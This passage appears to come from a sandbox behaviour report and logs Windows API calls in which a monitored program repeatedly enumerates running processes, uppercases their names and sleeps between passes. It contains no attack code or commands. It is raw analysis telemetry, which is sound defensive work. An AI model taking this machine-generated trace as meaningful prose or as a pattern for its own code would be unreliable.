lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0110.819] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0110.820] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0110.820] lstrlenW (lpString="SCN0tification.exe") returned 18 [0110.820] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0110.820] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0110.820] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0110.820] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.821] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.821] lstrlenW (lpString="svchost.exe") returned 11 [0110.821] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.821] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.821] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.821] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0110.821] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0110.821] lstrlenW (lpString="sppsvc.exe") returned 10 [0110.821] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0110.821] PathFindFileNameW (pszPath="SPPSVC.EXE") returned="SPPSVC.EXE" [0110.821] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPPSVC.EXE" | out: lpString1="SPPSVC.EXE") returned="SPPSVC.EXE" [0110.821] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0110.822] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dllhost.exe" | out: lpString1="dllhost.exe") returned="dllhost.exe" [0110.822] lstrlenW (lpString="dllhost.exe") returned 11 [0110.822] CharUpperBuffW (in: lpsz="dllhost.exe", cchLength=0xb | out: lpsz="DLLHOST.EXE") returned 0xb [0110.822] PathFindFileNameW (pszPath="DLLHOST.EXE") returned="DLLHOST.EXE" [0110.822] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DLLHOST.EXE" | out: lpString1="DLLHOST.EXE") returned="DLLHOST.EXE" [0110.822] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0110.823] CloseHandle (hObject=0x524) returned 1 [0110.823] Sleep (dwMilliseconds=0x1b7740) [0120.825] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350 [0120.828] Process32FirstW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.829] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0120.829] lstrlenW (lpString="[System Process]") returned 16 [0120.829] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0120.829] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0120.829] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0120.829] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.830] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0120.830] lstrlenW (lpString="System") returned 6 [0120.830] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0120.830] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0120.830] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0120.830] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.830] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0120.830] lstrlenW (lpString="smss.exe") returned 8 [0120.830] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0120.831] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0120.831] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0120.831] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.831] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0120.831] lstrlenW (lpString="csrss.exe") returned 9 [0120.831] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0120.831] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0120.831] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0120.831] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.832] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0120.832] lstrlenW (lpString="wininit.exe") returned 11 [0120.832] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0120.832] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0120.832] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0120.832] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.833] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0120.833] lstrlenW (lpString="csrss.exe") returned 9 [0120.833] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0120.833] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0120.833] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0120.833] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.834] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0120.834] lstrlenW (lpString="winlogon.exe") returned 12 [0120.834] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0120.834] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0120.834] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0120.834] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.834] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0120.834] lstrlenW (lpString="services.exe") returned 12 [0120.834] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0120.834] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0120.835] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0120.835] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.835] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0120.835] lstrlenW (lpString="lsass.exe") returned 9 [0120.835] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0120.835] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0120.835] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0120.835] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.836] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.836] lstrlenW (lpString="svchost.exe") returned 11 [0120.836] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.836] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.836] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.836] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.837] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.837] lstrlenW (lpString="svchost.exe") returned 11 [0120.837] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.837] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.837] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.837] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.838] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0120.838] lstrlenW (lpString="dwm.exe") returned 7 [0120.838] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0120.838] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0120.838] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0120.838] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.838] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.838] lstrlenW (lpString="svchost.exe") returned 11 [0120.839] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.839] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.839] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.839] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.839] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.839] lstrlenW (lpString="svchost.exe") returned 11 [0120.839] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.839] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.839] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.839] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.840] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.840] lstrlenW (lpString="svchost.exe") returned 11 [0120.840] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.840] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.840] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.840] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.841] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.841] lstrlenW (lpString="svchost.exe") returned 11 [0120.841] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.841] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.841] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.841] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.842] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.842] lstrlenW (lpString="svchost.exe") returned 11 [0120.842] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.842] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.842] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.842] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.843] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.843] lstrlenW (lpString="svchost.exe") returned 11 [0120.843] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.843] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.843] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.843] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.843] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0120.843] lstrlenW (lpString="spoolsv.exe") returned 11 [0120.843] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0120.843] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0120.843] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0120.843] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.844] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.844] lstrlenW (lpString="svchost.exe") returned 11 [0120.844] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.844] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.844] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.844] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.845] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.845] lstrlenW (lpString="svchost.exe") returned 11 [0120.845] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.845] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.845] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.845] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0120.846] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0120.846] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0120.846] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0120.846] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0120.846] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0120.846] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.846] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.846] lstrlenW (lpString="svchost.exe") returned 11 [0120.846] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.846] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.846] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.846] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0120.847] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0120.847] lstrlenW (lpString="sihost.exe") returned 10 [0120.847] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0120.847] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0120.847] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0120.847] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.848] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0120.848] lstrlenW (lpString="taskhostw.exe") returned 13 [0120.848] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0120.848] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0120.848] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0120.848] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.849] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0120.849] lstrlenW (lpString="explorer.exe") returned 12 [0120.849] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0120.849] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0120.849] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0120.849] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0120.850] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0120.850] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0120.850] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0120.850] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0120.850] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0120.850] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, 